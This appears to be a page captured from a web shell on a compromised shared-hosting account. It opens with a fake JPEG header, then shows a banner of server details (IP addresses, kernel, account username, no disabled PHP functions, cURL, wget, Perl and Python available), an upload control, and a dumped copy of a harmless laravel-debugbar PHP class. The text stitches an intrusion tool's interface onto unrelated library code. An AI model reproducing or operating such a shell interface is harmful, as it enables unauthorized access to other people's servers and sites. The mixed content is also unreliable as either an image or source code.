����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.144.240.141 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/barryvdh/laravel-debugbar/src/Twig/Node/ |
Upload File : |
<?php namespace Barryvdh\Debugbar\Twig\Node; /** * Represents a stopwatch node. Based on Symfony\Bridge\Twig\Node\StopwatchNode * * @author Wouter J <wouter@wouterj.nl> */ class StopwatchNode extends Node { /** * @param \Twig_NodeInterface|\Twig\Node\Node $name * @param $body * @param \Twig_Node_Expression_AssignName|\Twig\Node\Expression\AssignNameExpression $var * @param $lineno * @param $tag */ public function __construct( $name, $body, $var, $lineno = 0, $tag = null ) { parent::__construct(['body' => $body, 'name' => $name, 'var' => $var], [], $lineno, $tag); } /** * @param \Twig_Compiler|\Twig\Compiler $env * @return void */ public function compile($compiler) { // Maintain compatibility with Twig 2 and 3. $extension = \Barryvdh\Debugbar\Twig\Extension\Stopwatch::class; if (class_exists('\Twig_Node')) { $extension = 'stopwatch'; } $compiler ->addDebugInfo($this) ->write('') ->subcompile($this->getNode('var')) ->raw(' = ') ->subcompile($this->getNode('name')) ->write(";\n") ->write(sprintf("\$this->env->getExtension('%s')->getDebugbar()->startMeasure(", $extension)) ->subcompile($this->getNode('var')) ->raw(");\n") ->subcompile($this->getNode('body')) ->write(sprintf("\$this->env->getExtension('%s')->getDebugbar()->stopMeasure(", $extension)) ->subcompile($this->getNode('var')) ->raw(");\n"); } }